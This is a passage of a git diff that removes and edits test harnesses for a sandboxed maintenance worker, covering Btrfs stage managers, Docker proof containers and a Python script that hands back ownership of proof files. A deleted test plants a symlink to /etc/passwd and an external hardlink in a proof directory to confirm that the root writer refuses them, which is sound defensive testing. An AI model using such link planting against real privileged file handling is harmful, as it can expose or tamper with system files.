if(Array.isArray(value)){if(value.length>=original.length&&JSON.stringify(value.slice(-original.length))===JSON.stringify(original))return [...value.slice(0,-original.length),...replacement];return value.map(replace);} - if(value&&typeof value==="object")return Object.fromEntries(Object.entries(value).map(([key,item])=>[key,replace(item)])); - if(typeof value==="string"&&value.startsWith("{")){try{return JSON.stringify(replace(JSON.parse(value)));}catch{}} - return value; - }; - options.env={...options.env,BRAIN_WORKER_LAUNCH:JSON.stringify(replace(launch))}; - } - return Reflect.apply(spawn,Bun,args); - }}return Reflect.apply(spawn,Bun,args); - }}); - let output:Awaited>|undefined; - try{ - if(mode==="copied-wrapper"){progress("copied-inspection-start"); - output=await realPrepareNativeOutput(brain,{startupView:view});progress("copied-stage-created"); - let refusal:unknown,release:(()=>void)|undefined; - try{release=await registerNativeFixtureManagedKeeper(output.output.storage,output.view);}catch(error){refusal=error;}finally{release?.();} - expect(String(refusal),"UNOBSERVED_WRAPPER_HAS_NO_PRIVATE_READER").toContain("managed fixture keeper snapshot is unavailable"); - progress("copied-inspection-refused");console.log("FIXTURE_UNOBSERVED_WRAPPER_REFUSED");return; - } - if(mode==="nested-observer"){ - const closeInner=observeNativeProofStages(); - try{output=await prepareNativeWorkerOutput(brain,{startupView:view});expect((await runMaintenanceWorker({brainPath:brain,startupView:output.view,output:{...output.output,target:"/tmp/brain-maintenance-output"},credentials:false,env:{PATH:"/usr/bin:/bin"},command:["/bin/true"]})).exitCode,"NESTED_OBSERVER_REACHES_REAL_STAGE").toBe(0);console.log("NESTED_INNER_STAGE_PASSED");await output.cleanup();output=undefined;}finally{closeInner();} - } - output=await prepareNativeWorkerOutput(brain,{startupView:view,areas:["odysseus-preparation.md"]});progress("inspection-created"); - const base=():MaintenanceCommand=>({brainPath:brain,startupView:output!.view,output:{...output!.output,target:linkMode?brain:"/tmp/brain-maintenance-output"},credentials:false,env:{PATH:"/usr/local/bin:/usr/bin:/bin"},command:["/bin/true"]}); - if(mode==="nested-observer"){expect((await runMaintenanceWorker(base())).exitCode,"NESTED_OBSERVER_RETAINS_OUTER_REGISTRATION").toBe(0);console.log("FIXTURE_NESTED_OBSERVERS_PASSED");return;} - if(wrapperMode){ - expect((await runMaintenanceWorker(base())).exitCode,"ACTUAL_WRAPPER_REACHES_REAL_STAGE").toBe(0); - if(mode==="actual-wrapper"){console.log("FIXTURE_ACTUAL_LEASE_WRAPPER_PASSED");return;} - if(mode==="raw-expired"){expect(leaseCloseCalls,"RAW_EXPIRES_BEFORE_MANAGER_CLOSE").toBe(0);expect(readFileSync(`/proc/${output.output.storage.namespacePid}/stat`,"utf8").replace(/^.*\) /s,"").split(" ")[19],"RAW_EXPIRY_STAGE_IS_STILL_LIVE").toBe(String(output.output.storage.namespaceStart));rawLive=false;} - else{await output.cleanup();progress("stage-cleaned-before-close");await lease!.close();progress("owner-closed");} - await expect(registerNativeFixtureManagedKeeper(output.output.storage,mode==="closed-wrapper"?view:output.view),"WRAPPER_PROVENANCE_EXPIRES_BEFORE_READER").rejects.toThrow("managed fixture manager provenance expired"); - if(mode==="raw-expired")expect(leaseCloseCalls,"RAW_EXPIRY_REFUSES_WITH_MANAGER_STILL_OPEN").toBe(0); - console.log(mode==="raw-expired"?"FIXTURE_RAW_EXPIRY_REVOKES_WRAPPER":"FIXTURE_CLOSED_WRAPPER_REFUSED");return; - } - if(mode==="mid-walk-write"){ - await expect(runMaintenanceWorker({...base(),command:["/bin/sh","-c",'exec "$1"',"odysseus-mid-walk","/bin/true"]}),"MID_WALK_NEGATIVE_REACHED_REAL_PRODUCT_SPAWN").rejects.toThrow("MIDWALK_EXPECTED_REFUSAL"); - expect(midWalkIntercepted,"MID_WALK_REFUSAL_IS_THE_CLAIMED_CAUSE").toBe(true);console.log("FIXTURE_MID_WALK_WRITE_REFUSED");return; - } - if(mode==="foreign"){ - await expect(prepareMaintenanceWorker({...base(),output:{...base().output!,storage:{...output.output.storage}}}),"FOREIGN_PREPARATION_IS_PRODUCT_REFUSED").rejects.toThrow("native maintenance requires its retained attested stage owner");console.log("FIXTURE_PREPARATION_FOREIGN_REFUSED");return; - } - if(mode==="wrong-preparer"||mode==="native-under-preparer"){ - let failure:unknown;try{await prepareMaintenanceWorker(base());}catch(error){failure=error;} - expect(failure,"FIXED_PREPARER_REJECTS_CHANGED_COMMAND").toBeDefined();console.log("FIXTURE_PREPARATION_EXPECTED_GUARD_REFUSAL");return; - } - if(mode==="failed-preparation"){ - await expect(prepareMaintenanceWorker(base()),"REAL_PREPARATION_FAILED").rejects.toThrow("Disposable index preparation command refused:");expect(captured,"REAL_PREPARATION_LAUNCHED").toBeDefined(); - let refused=false;try{const plan=nativeWorkerBoundary(captured!);plan.beforeLaunch();plan.dispose();}catch{refused=true;} - expect(refused,"FAILED_PREPARATION_INSPECTION_RETIRED").toBe(true);console.log("FIXTURE_FAILED_PREPARATION_RETIRED");return; - } - await prepareMaintenanceWorker(base());expect(captured,"REAL_INDEX_PREPARER_EXECUTED").toBeDefined(); - if(mode==="stale-inspection"){ - const plan=recorded;expect(plan,"ACTUAL_RECORDED_PREPARER_PLAN").toBeDefined(); - let refused=false;try{plan!.beforeLaunch();}catch{refused=true;}expect(refused,"RETIRED_INSPECTION_CANNOT_LAUNCH").toBe(true);console.log("FIXTURE_OLD_INSPECTION_RETIRED");return; - } - if(linkMode&&mode!=="link-mapped"){ - const reason=mode==="link-runtime-target"?"native runtime in stage symlink target":"managed fixture stage link view differs"; - await expect(runMaintenanceWorker({...base(),command:[bundledClaudeBinary()!,"--version"]}),"EXACT_STAGE_LINK_MAPPING_MUST_REFUSE").rejects.toThrow(reason); - console.log("FIXTURE_STAGE_LINK_EXPECTED_REFUSAL");return; - } - const byteChecks=nativeFixtureFindingCounts().executionByteFiles; - expect((await runMaintenanceWorker(base())).exitCode,"REAL_INDEX_PREPARATION_RECAPTURED").toBe(0); - expect((await runMaintenanceWorker({...base(),command:[bundledClaudeBinary()!,"--version"]})).exitCode,"ADMITTED_NATIVE_REACHES_CHECKED_STAGE").toBe(0); - expect(nativeFixtureFindingCounts().executionByteFiles,"MUTABLE_EXECUTION_BOUNDARY_REHASH_REQUIRED").toBeGreaterThan(byteChecks); - if(mode==="link-mapped"){ - const result=await runMaintenanceWorker({...base(),command:["/bin/cat",brain+"/native-absolute-stage-link"]}); - expect(result.exitCode,result.stderr).toBe(0);expect(result.stdout,"MAPPED_LINK_READS_ACTUAL_STAGE_BYTES").toBe("Odysseus stage link\n");console.log("FIXTURE_MAPPED_STAGE_LINK_PASSED");return; - } - const gitRoot=output.output.source.replace(/\/merged$/,"/git-adapter");mkdirSync(gitRoot,{mode:0o700});mkdirSync(join(gitRoot,"bin"),{mode:0o700});mkdirSync(join(gitRoot,"hooks"),{mode:0o700}); - writeFileSync(join(gitRoot,"config.json"),JSON.stringify({marker:"Odysseus preparation"}),{mode:0o600});writeFileSync(join(gitRoot,"empty-config"),"");writeFileSync(join(gitRoot,"bin/git"),"#!/bin/sh\nexit 0\n",{mode:0o755}); - const git=await prepareMaintenanceGitInput({...base(),git:{source:gitRoot,target:"/tmp/brain-maintenance-git",entry:Bun.resolveSync("../../packages/ui-sdk/src/server/maintenance-git-entry",import.meta.dir),binary:"/usr/bin/git"}}); - expect((await runMaintenanceWorker({...base(),git})).exitCode,"REAL_GIT_PREPARATION_RECAPTURED").toBe(0); - expect((await runMaintenanceWorker({...base(),git,command:["/bin/sh","-c",'printf Odysseus > "$BRAIN_ROOT/odysseus-preparation.md"']})).exitCode,"REAL_FILE_PUBLICATION_FILTER_WRITTEN").toBe(0); - expect((await runMaintenanceWorker({...base(),git})).exitCode,"PUBLICATION_FILE_IS_INSPECTED_WITHOUT_DIRECTORY_ROLE").toBe(0); - await expect(runMaintenanceWorker({...base(),git:{...git}}),"REAL_FOREIGN_GIT_SPEC_REFUSES").rejects.toThrow("Unprepared or foreign concrete maintenance Git input"); - expect((await runMaintenanceWorker({...base(),git})).exitCode,"FOREIGN_PREFLIGHT_DOES_NOT_RETIRE_UNCONSUMED_INSPECTION").toBe(0);console.log("FIXTURE_REAL_INDEX_AND_GIT_RECAPTURED"); - }finally{progress("cleanup-start");stopRecording();Object.defineProperty(Bun,"spawn",descriptor); - try{ - if(mode==="closed-wrapper"){ - await output!.cleanup(); - await expect(view.cleanup(),"CLOSED_OWNER_VIEW_CLEANUP_IS_EXPLICIT").rejects.toThrow("Native root lease owner is closed."); - }else try{await output?.cleanup();}finally{await view.cleanup();} - }finally{try{progress("manager-close");await lease?.close();progress("manager-closed");}finally{rawLive=false;for(const path of ["native-absolute-stage-link","notes/odysseus-link-target.md","notes/chain","notes/odysseus-native-link","-x"])rmSync(join(brain,path),{recursive:true,force:true});if(ledgerRoot)rmSync(ledgerRoot,{recursive:true,force:true});rmSync(index,{recursive:true,force:true});rmSync(gitDirectory,{recursive:true,force:true});rmSync(opaque,{recursive:true,force:true});}} - } - }); -} diff --git a/scripts/native-proof/guard-environment.ts b/scripts/native-proof/guard-environment.ts deleted file mode 100644 index de5e92f1f7..0000000000 --- a/scripts/native-proof/guard-environment.ts +++ /dev/null @@ -1,11 +0,0 @@ -/** Propagate qualification context, never credentials, into offline proof containers. */ -import { resolve } from "node:path"; - -export function nativeGuardEnvironment(): string[] { - const git = Bun.spawnSync(["git", "rev-parse", "HEAD"], { cwd: resolve(import.meta.dir, "../.."), stdout: "pipe", stderr: "pipe" }); - const head = git.stdout.toString().trim(); - if (git.exitCode !== 0 || !/^[0-9a-f]{40}$/.test(head)) throw Error("Native proof requires an exact checkout head"); - return [`--env=BRAIN_NATIVE_TEST_HEAD=${head}`, - ...(process.env.GITHUB_ACTIONS === "true" && process.env.RUNNER_ENVIRONMENT === "github-hosted" - ? ["--env=GITHUB_ACTIONS=true", "--env=RUNNER_ENVIRONMENT=github-hosted"] : [])]; -} diff --git a/scripts/native-proof/handoff-proof.py b/scripts/native-proof/handoff-proof.py deleted file mode 100644 index 0716cb04fb..0000000000 --- a/scripts/native-proof/handoff-proof.py +++ /dev/null @@ -1,67 +0,0 @@ -"""Post-container-exit ownership handoff of one inode-pinned proof directory. - -No chmod, symlink traversal, special files, or external hardlinks. The caller -must await the proof container before invoking this root-only artifact writer. -""" -import os -import stat -import sys - - -def handoff(path, device, inode): - flags = os.O_RDONLY | os.O_NOFOLLOW | os.O_CLOEXEC - root = os.open(path, flags | os.O_DIRECTORY) - opened = [] - try: - identity = os.fstat(root) - if (identity.st_dev, identity.st_ino) != (device, inode): - raise ValueError("Proof directory identity changed") - uid, gid = identity.st_uid, identity.st_gid - opened.append((root, identity)) - pending = [root] - links = {} - while pending: - directory = pending.pop() - for name in os.listdir(directory): - if len(opened) >= 200000: - raise ValueError("Proof directory exceeds handoff bound") - info = os.stat(name, dir_fd=directory, follow_symlinks=False) - if not (stat.S_ISREG(info.st_mode) or stat.S_ISDIR(info.st_mode)): - raise ValueError("Proof handoff refuses links and special files") - child = os.open(name, flags | (os.O_DIRECTORY if stat.S_ISDIR(info.st_mode) else os.O_NONBLOCK), dir_fd=directory) - actual = os.fstat(child) - opened.append((child, actual)) - if (actual.st_dev, actual.st_ino, actual.st_mode) != (info.st_dev, info.st_ino, info.st_mode): - raise ValueError("Proof entry identity changed") - if actual.st_dev != identity.st_dev: - raise ValueError("Proof handoff refuses external mounts") - if stat.S_ISDIR(actual.st_mode): - pending.append(child) - else: - key = (actual.st_dev, actual.st_ino) - links[key] = links.get(key, 0) + 1 - # Validate the complete tree before changing any ownership. - for fd, before in opened: - now = os.fstat(fd) - if (now.st_dev, now.st_ino, now.st_mode, now.st_nlink, now.st_size) != (before.st_dev, before.st_ino, before.st_mode, before.st_nlink, before.st_size): - raise ValueError("Proof entry changed during handoff") - if stat.S_ISREG(now.st_mode) and now.st_nlink != links[(now.st_dev, now.st_ino)]: - raise ValueError("Proof handoff refuses external hardlinks") - if now.st_mode & (stat.S_ISUID | stat.S_ISGID): - raise ValueError("Proof handoff refuses privileged mode bits") - for fd, before in reversed(opened): - os.fchown(fd, uid, gid) - after = os.fstat(fd) - if (after.st_uid, after.st_gid, stat.S_IMODE(after.st_mode)) != (uid, gid, stat.S_IMODE(before.st_mode)): - raise ValueError("Proof ownership handoff failed") - finally: - if not opened: - os.close(root) - for fd, _ in reversed(opened): - os.close(fd) - - -if __name__ == "__main__": - if len(sys.argv) != 4: - raise ValueError("Expected exact proof root and pinned identity") - handoff(sys.argv[1], *map(int, sys.argv[2:])) diff --git a/scripts/native-proof/handoff-proof.test.ts b/scripts/native-proof/handoff-proof.test.ts deleted file mode 100644 index 06ada2193e..0000000000 --- a/scripts/native-proof/handoff-proof.test.ts +++ /dev/null @@ -1,22 +0,0 @@ -/** Post-exit artifact retention, using the real root writer and an app-owned 0600 file. */ -import {expect,test} from "bun:test"; -import {chmodSync,lstatSync,mkdtempSync,readFileSync,rmSync,writeFileSync,mkdirSync} from "node:fs"; -import {join} from "node:path"; -import {nativeHostHandoffArgs,NATIVE_PROOF_IMAGE} from "../prove-native-host"; -import {watchdogMs} from "../test-deadlines"; -for(const mode of ["private-file","symlink","external-hardlink"] as const)test(`post-exit proof ownership handoff: ${mode}`,()=>{ - const root=mkdtempSync("/tmp/odysseus-proof-handoff-"),artifact=join(root,"proof");chmodSync(root,0o755);mkdirSync(artifact,0o755);mkdirSync(join(root,"scripts/native-proof"),{recursive:true});writeFileSync(join(root,"scripts/native-proof/handoff-proof.py"),readFileSync(join(import.meta.dir,"handoff-proof.py"))); - try{ - const setup=`import os\np='/proof/private'\nopen(p,'w').write('Ithaca\\n')\nos.chmod(p,0o600)\nos.chown(p,1000,1000)\n${mode==="symlink"?"os.symlink('/etc/passwd','/proof/planted')":mode==="external-hardlink"?"open('/fixture/outside','w').write('outside'); os.link('/fixture/outside','/fixture/proof/planted')":""}`; - const writer=Bun.spawnSync(["docker","run","--rm","--network=none","--mount",`type=bind,source=${artifact},target=/proof`,"--mount",`type=bind,source=${root},target=/fixture`,"--entrypoint=python3",NATIVE_PROOF_IMAGE,"-c",setup],{stdout:"pipe",stderr:"pipe"});expect(writer.exitCode,writer.stderr.toString()).toBe(0); - const info=lstatSync(artifact,{bigint:true}),pin={dev:info.dev,ino:info.ino,uid:Number(info.uid),gid:Number(info.gid)}; - const result=Bun.spawnSync(nativeHostHandoffArgs(root,artifact,pin),{stdout:"pipe",stderr:"pipe"}); - if(mode==="private-file"){ - expect(result.exitCode,result.stderr.toString()).toBe(0);const file=lstatSync(join(artifact,"private"));expect(file.uid,"PRIVATE_ARTIFACT_RETURNED_TO_RUNNER").toBe(pin.uid);expect(file.mode&0o777,"PRIVATE_MODE_UNCHANGED").toBe(0o600); - const archive=Bun.spawnSync(["tar","-cf",join(root,"proof.tar"),"-C",artifact,"."],{stdout:"pipe",stderr:"pipe"});expect(archive.exitCode,archive.stderr.toString()).toBe(0); - const bytes=Bun.spawnSync(["tar","-xOf",join(root,"proof.tar"),"./private"],{stdout:"pipe",stderr:"pipe"});expect(bytes.stdout.toString(),"APP_PRIVATE_FILE_REACHED_ARCHIVE").toBe("Ithaca\n"); - }else{expect(result.exitCode,"UNTRUSTED_PROOF_ENTRY_REFUSED").not.toBe(0);expect(result.stderr.toString()).toContain(mode==="symlink"?"refuses links":"external hardlinks");} - }finally{ - Bun.spawnSync(["docker","run","--rm","--network=none","--mount",`type=bind,source=${artifact},target=/proof`,"--entrypoint=python3",NATIVE_PROOF_IMAGE,"-c","import os; os.chmod('/proof',0o755); [os.unlink('/proof/'+n) for n in os.listdir('/proof')]"] ,{stdout:"ignore",stderr:"ignore"});rmSync(root,{recursive:true,force:true}); - } -},watchdogMs(30000)); diff --git a/scripts/native-proof/hosted-app-child.ts b/scripts/native-proof/hosted-app-child.ts index 5a908597b1..e07582dc61 100644 --- a/scripts/native-proof/hosted-app-child.ts +++ b/scripts/native-proof/hosted-app-child.ts @@ -1,10 +1,7 @@ -import "../test-network-child-preload.ts"; -import {observeNativeFixtureManagers} from "../../tests/helpers/native-managed-proof"; import { traceObserverBootstrap } from "./observation-tree.js"; import { recordingCursors, recordedWindows } from "./observation-recording.js"; import { appendFileSync, existsSync, readFileSync, renameSync, writeFileSync, statSync } from "node:fs"; -import { dirname,join } from "node:path"; -import {AsyncLocalStorage} from "node:async_hooks"; +import { join } from "node:path"; const [source, dir, brain, socket, selectedBackend = "claude"] = process.argv.slice(2); const dbPath = join(dir!, "ui.db"); @@ -220,37 +217,6 @@ const egressOrigin = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch(request) const egressCommand = (attempt: number) => `/usr/bin/python3 -I -S -c 'import sys,urllib.request;sys.stdout.write(urllib.request.urlopen(sys.argv[1],timeout=5).read().decode())' http://localhost:${egressOrigin.port}/voyage-${attempt} > .brain/egress-${attempt}.txt`; const inference = selectedBackend === "pi" ? startPiNativeInference(join(dir!,"pi"),event,authorityCommand,egressCommand, APPLY_TIMING ? { count: SCHERIA_LOGS, path: scheriaPath, content: scheriaContent, sha256 } : undefined, OBSERVATION_TIMING ? { cells: ithacaSteps() } : undefined) : undefined; -// Keep the real managed allocator and its result. Its private sources are -// inspectable only through the live manager ticket, until output cleanup. -const {nativeScriptedService,registerNativeFixtureManagedKeeper,registerNativeFixtureMaintenanceGit}=await import("../test-native-guard.ts"); -// This host-owned product proxy predates the native fixture declaration. Keep -// its ordinary dispatch context, as for the independent host-web fixture. -const hostNetworkScope=AsyncLocalStorage.snapshot(); -const egressProxy=await import(join(source!,"packages/ui-sdk/src/server/egress-proxy.ts")); -const startEgressProxy=egressProxy.startEgressProxy; -spyOn(egressProxy,"startEgressProxy").mockImplementation((...args:any[])=>hostNetworkScope(()=>startEgressProxy(...args))); -const closeFixtureManagers=observeNativeFixtureManagers(); -const leaveFixtureAuthority=nativeScriptedService(inference?.origin.replace(/^anthropic=/,"")??egressOrigin.url.origin,{fixtureRoots:[brain!,dir!]}); -const nativeOutput=await import(join(source!,"packages/ui-sdk/src/server/worker-native-output.ts")); -const prepareNativeOutput=nativeOutput.prepareNativeWorkerOutput; -spyOn(nativeOutput,"prepareNativeWorkerOutput").mockImplementation(async(...args:any[])=>{ - const output=await prepareNativeOutput(...args);let release:()=>void; - try{release=await registerNativeFixtureManagedKeeper(output.output.storage,output.view,args[1].areas??[]);}catch(error){await output.cleanup();throw error;} - const cleanup=output.cleanup.bind(output);let closing:Promise|undefined; - output.cleanup=()=>closing??=(async()=>{try{await cleanup();}finally{release();}})(); - return output; -}); -const maintenanceGit=await import(join(source!,"packages/ui-server/src/brain/maintenance-git.ts")); -const prepareMaintenanceGit=maintenanceGit.prepareMaintenanceGit; -const gitPreparation=new AsyncLocalStorage(); -spyOn(maintenanceGit,"prepareMaintenanceGit").mockImplementation((...args:any[])=>gitPreparation.run(args[1],()=>prepareMaintenanceGit(...args))); -const maintenanceWorker=await import(join(source!,"packages/ui-sdk/src/server/maintenance-worker.ts")); -const prepareGitInput=maintenanceWorker.prepareMaintenanceGitInput; -spyOn(maintenanceWorker,"prepareMaintenanceGitInput").mockImplementation(async(...args:any[])=>{ - const spec=await prepareGitInput(...args),output=gitPreparation.getStore(); - if(output&&args[0].output?.storage===output.output.storage&&spec?.source===join(dirname(output.output.source),"git-adapter"))registerNativeFixtureMaintenanceGit(output.output.storage,output.view,spec); - return spec; -}); if (inference) process.env.BRAIN_UI_PI_CREDENTIAL_ORIGINS = inference.origin; const backend = inference ? createPiBackend({brainPath:brain!,model:inference.model,loadExtensions:false,log(level: string,message: string){event("backend_log",{level,message});}}) : createClaudeBackend({ brainPath: brain, @@ -399,7 +365,7 @@ try { let closing = false; process.on("SIGTERM", async () => { if (closing) return; closing = true; - try { server.stop(true); await pathMatrix; await app.close(); closeFixtureManagers();leaveFixtureAuthority(); inference?.close(); egressOrigin.stop(true); event("fixture_warnings",{messages:observability.logs.records().map((log:any)=>({severity:log.severityText,body:log.body}))}); event("closed"); process.exit(0); } + try { server.stop(true); await pathMatrix; await app.close(); inference?.close(); egressOrigin.stop(true); event("fixture_warnings",{messages:observability.logs.records().map((log:any)=>({severity:log.severityText,body:log.body}))}); event("closed"); process.exit(0); } catch (error) { event("close_error", { error: String(error) }); process.exit(1); } }); } catch (error) { diff --git a/scripts/native-proof/hosted-app.test.ts b/scripts/native-proof/hosted-app.test.ts index f829b6e70a..a076b445ab 100644 --- a/scripts/native-proof/hosted-app.test.ts +++ b/scripts/native-proof/hosted-app.test.ts @@ -1,4 +1,3 @@ -import {serveNativeFixtureBrainManager as serveNativeBrainManager} from '../../tests/helpers/native-stage-metadata-fixture'; import { admissionTimingSample } from "./admission-timing.js"; import { seedObservationTree, observationTreeWatchdog, observationRunTimeout, type ObservationTree } from "./observation-tree.js"; import { backendStartupSamples, requireAdmissionSteps } from "./lifecycle-timing.js"; @@ -76,6 +75,7 @@ print(json.dumps(result))`; const tree = treeSizes ? seedObservationTree(brain, join(dir, "ui.db.journal"), treeSizes) : undefined; const git = Bun.spawnSync(["git", "init", "--quiet", brain], { env: { PATH: "/usr/bin:/bin", HOME: join(dir, "home") } }); expect(git.exitCode, "OFFLINE_FIXTURE_GIT_INITIALIZED").toBe(0); + const { serveNativeBrainManager } = await import(join(SOURCE, "packages/ui-sdk/src/server/native-brain-manager.ts")); const { hostOutputStagingLimits } = await import(join(SOURCE, "packages/ui-sdk/src/server/worker-state-limits.ts")); // The app child supplies no staging overrides; use the same existing defaults. const staging = hostOutputStagingLimits({}); @@ -657,6 +657,7 @@ print(json.dumps(result))`; // One fixed backend/UID cell owns this backend-independent root-lifetime control. if (BACKEND === "pi" && APP_UID === 0) for (const held of ["descriptor", "cwd"] as const) test(`a retained native checkpoint ${held} records the actual release interruption and reconciles the same root`, async () => { const brain = "/brain-fixture/brain", name = "notes/worker-1.md"; + const { serveNativeBrainManager } = await import(join(SOURCE, "packages/ui-sdk/src/server/native-brain-manager.ts")); const { createNativeBrainManagerClient } = await import(join(SOURCE, "packages/ui-sdk/src/server/native-brain-manager-client.ts")); const show = Bun.spawnSync(["/usr/bin/btrfs", "subvolume", "show", brain]); expect(show.exitCode).toBe(0); const brainUuid = /^\s*UUID:\s*([0-9a-f-]+)/m.exec(show.stdout.toString())![1]!.replaceAll("-", ""); @@ -698,6 +699,7 @@ if (BACKEND === "pi" && APP_UID === 0) for (const held of ["descriptor", "cwd"] // next transaction-kthread pass, which equals the release deadline (#1967). if (BACKEND === "pi" && APP_UID === 0) test("a native checkpoint descriptor released just after its delete still completes release", async () => { const brain = "/brain-fixture/brain", name = "notes/worker-1.md"; + const { serveNativeBrainManager } = await import(join(SOURCE, "packages/ui-sdk/src/server/native-brain-manager.ts")); const { createNativeBrainManagerClient } = await import(join(SOURCE, "packages/ui-sdk/src/server/native-brain-manager-client.ts")); const show = Bun.spawnSync(["/usr/bin/btrfs", "subvolume", "show", brain]); expect(show.exitCode).toBe(0); const brainUuid = /^\s*UUID:\s*([0-9a-f-]+)/m.exec(show.stdout.toString())![1]!.replaceAll("-", ""); @@ -736,6 +738,7 @@ if (BACKEND === "pi" && APP_UID === 0) test("a native checkpoint descriptor rele // each operation still refuses a changed identity, immutability or qualification. if (BACKEND === "pi" && APP_UID === 0) test("every native manager check still refuses through one identity inspector", async () => { const brain = "/brain-fixture/brain", nested = join(brain, "nested-voyage"); + const { serveNativeBrainManager } = await import(join(SOURCE, "packages/ui-sdk/src/server/native-brain-manager.ts")); const { createNativeBrainManagerClient } = await import(join(SOURCE, "packages/ui-sdk/src/server/native-brain-manager-client.ts")); const { createNativeIdentityInspector, NATIVE_ROOT_INSPECTION, NATIVE_LOOP_INSPECTION } = await import(join(SOURCE, "packages/ui-sdk/src/server/native-identity-inspector.ts")); const btrfs = (...args: string[]) => { const result = Bun.spawnSync(["/usr/bin/btrfs", ...args]); expect(result.exitCode, `btrfs ${args.join(" ")}: ${result.stderr}`).toBe(0); return result.stdout.toString(); }; diff --git a/scripts/native-proof/identity-manager.native.ts b/scripts/native-proof/identity-manager.native.ts index 8fb26b0ae3..e8f5df2bf9 100644 --- a/scripts/native-proof/identity-manager.native.ts +++ b/scripts/native-proof/identity-manager.native.ts @@ -1,16 +1,11 @@ -import {bundledClaudeBinary} from "../../packages/core/src/providers/agents/claude-binary"; -import {retainFixtureStream} from "../../packages/ui-sdk/tests/fixtures/retained-stream"; -import {serveNativeFixtureBrainManager as serveNativeBrainManager} from '../../tests/helpers/native-stage-metadata-fixture'; -import {captureNativeReceipts} from "../native-test-receipts"; -import {withNativeProofStages} from "../../tests/helpers/native-managed-proof"; /** Real owned Btrfs manager, separate-UID launch and private journal recovery. */ import { expect } from "bun:test"; -import { chmodSync, chownSync, copyFileSync, constants, mkdirSync, readFileSync, rmSync, statSync, writeFileSync } from "node:fs"; +import { chmodSync, chownSync, constants, mkdirSync, readFileSync, statSync, writeFileSync } from "node:fs"; import { open, unlink } from "node:fs/promises"; import { join } from "node:path"; import { Readable } from "node:stream"; import { createHash } from "node:crypto"; - +import { serveNativeBrainManager } from "../../packages/ui-sdk/src/server/native-brain-manager.js"; import { createNativeBrainManagerClient } from "../../packages/ui-sdk/src/server/native-brain-manager-client.js"; import { prepareNativeWorkerStartupView } from "../../packages/ui-sdk/src/server/worker-startup-view.js"; import { prepareNativeWorkerOutput } from "../../packages/ui-sdk/src/server/worker-native-output.js"; @@ -24,16 +19,13 @@ import { proveNativeProviderIndex } from "./provider-index.native.js"; const brain = "/brain-fixture/brain", socketPath = "/native-runtime/identity-manager.sock"; const MIB = 1024 ** 2; -if(process.getuid?.()===0&&process.argv.includes("--preparation-proofs")&&!process.argv.includes("--ordinary-mid-walk-proof")){const proof=Bun.spawnSync(["/usr/bin/python3","-I","-S",join(import.meta.dir,"stage-metadata-channel.test.py")],{stdout:"pipe",stderr:"pipe"});expect(proof.exitCode,proof.stderr.toString()).toBe(0);console.log(JSON.stringify({stageMetadataProtocol:"pass",output:proof.stderr.toString()}));} function command(argv: string[]): string { const result = Bun.spawnSync(argv, { stdout: "pipe", stderr: "pipe" }); expect(result.exitCode, result.stderr.toString()).toBe(0); return result.stdout.toString(); } -if(process.argv[2]==="--preparation-child"){await (await import("./fixture-preparation.native")).proveFixturePreparation(process.argv[3]!,brain,socketPath);} -else if (process.argv[2] === "--child") { - await withNativeProofStages(brain,async()=>{ +if (process.argv[2] === "--child") { expect(process.getuid?.()).toBe(21001); const manager = createNativeBrainManagerClient({ socketPath }); const view = await prepareNativeWorkerStartupView(brain, manager); @@ -67,7 +59,7 @@ print('Odysseus strict managed stage')`] }); expect(statSync(join(brain, ".brain/scratch/private/result.md")).mode & 0o777).toBe(0o600); } finally { await prepared.cleanup(); } - await proveNativeProviderIndex(brain, manager, socketPath); + await proveNativeProviderIndex(brain, manager); const data = "/identity-fixture/native-journal"; mkdirSync(data, { mode: 0o700 }); const dbPath = join(data, "ui.db"), db = createUiDb(dbPath), ledger = createJournalAccounting(db, dbPath); @@ -147,7 +139,6 @@ os.chmod(${JSON.stringify(join(brain, "opaque"))},0)`] }); } finally { await capture.close(); objects.close(); db.close(); } console.log(JSON.stringify({ nativeIdentityManager: "pass", stage: "root-sealed-ticket", recovery: "private-checkpoint-and-unreadable-metadata" })); } finally { await view.cleanup(); } - }); } else { expect(process.getuid?.()).toBe(0); mkdirSync(join(brain, "notes")); mkdirSync(join(brain, ".brain/scratch"), { recursive: true, mode: 0o2770 }); @@ -160,31 +151,10 @@ os.chmod(${JSON.stringify(join(brain, "opaque"))},0)`] }); const fsid = /^fsid\s+([0-9a-f-]+)/m.exec(command(["btrfs", "inspect-internal", "dump-super", "/dev/brain-native-proof-loop"]))![1]!; mkdirSync("/native-runtime", { mode: 0o755, recursive: true }); const staging = hostOutputStagingLimits({}); - // The mid-walk proof uses the ordinary same-UID allocator so its own app - // can change its file directly. No root write channel or API widening. const service = await serveNativeBrainManager({ storePath: "/brain-fixture", devicePath: "/dev/brain-native-proof-loop", fsid, brainUuid, socketPath, - appUid: 21001, appGid: 21001, workerUid: process.argv.includes("--ordinary-mid-walk-proof")?undefined:21002, stageAllowanceBytes: staging.allowanceBytes, stageBudgetBytes: staging.budgetBytes, + appUid: 21001, appGid: 21001, workerUid: 21002, stageAllowanceBytes: staging.allowanceBytes, stageBudgetBytes: staging.budgetBytes, capacityBytes: 4 * 1024 ** 3, recoveryReserveBytes: 16 * MIB }); try { - const {preparationCases}=await import("./fixture-preparation.native"); - for(const mode of process.argv.includes("--preparation-proofs")?(process.argv.includes("--ordinary-mid-walk-proof")?["mid-walk-write"] as const:preparationCases.filter(mode=>mode!=="mid-walk-write")):[]){ - if(mode==="link-runtime-target"){const runtime=bundledClaudeBinary();if(!runtime)throw Error("Native link fixture requires installed bytes");mkdirSync(join(brain,"notes"),{recursive:true,mode:0o755});chownSync(join(brain,"notes"),21001,21001);chmodSync(join(brain,"notes"),0o755);copyFileSync(runtime,join(brain,"notes/odysseus-native-link"),constants.COPYFILE_FICLONE);chmodSync(join(brain,"notes/odysseus-native-link"),0o555);} - const receipt=captureNativeReceipts(); - const child=Bun.spawn(["/usr/bin/setpriv","--reuid=21001","--regid=21001","--clear-groups",process.execPath,"--preload","/repo/scripts/test-network-child-preload.ts",import.meta.filename,"--preparation-child",mode],{env:{PATH:"/usr/local/bin:/usr/bin:/bin",BRAIN_UI_WORKER_IDENTITY_HELPER:process.argv.includes("--ordinary-mid-walk-proof")?"":"/usr/local/bin/identity-helper",...receipt.env},stdout:"pipe",stderr:"pipe"}); - const [code,stdoutResult,stderrResult]=await Promise.all([child.exited,retainFixtureStream(child.stdout,`/proof/preparation-${mode}.stdout`),retainFixtureStream(child.stderr,`/proof/preparation-${mode}.stderr`)]);const out=stdoutResult.text,stderr=stderrResult.text,err=stderr+receipt.read();receipt.dispose();if(stdoutResult.failure)throw 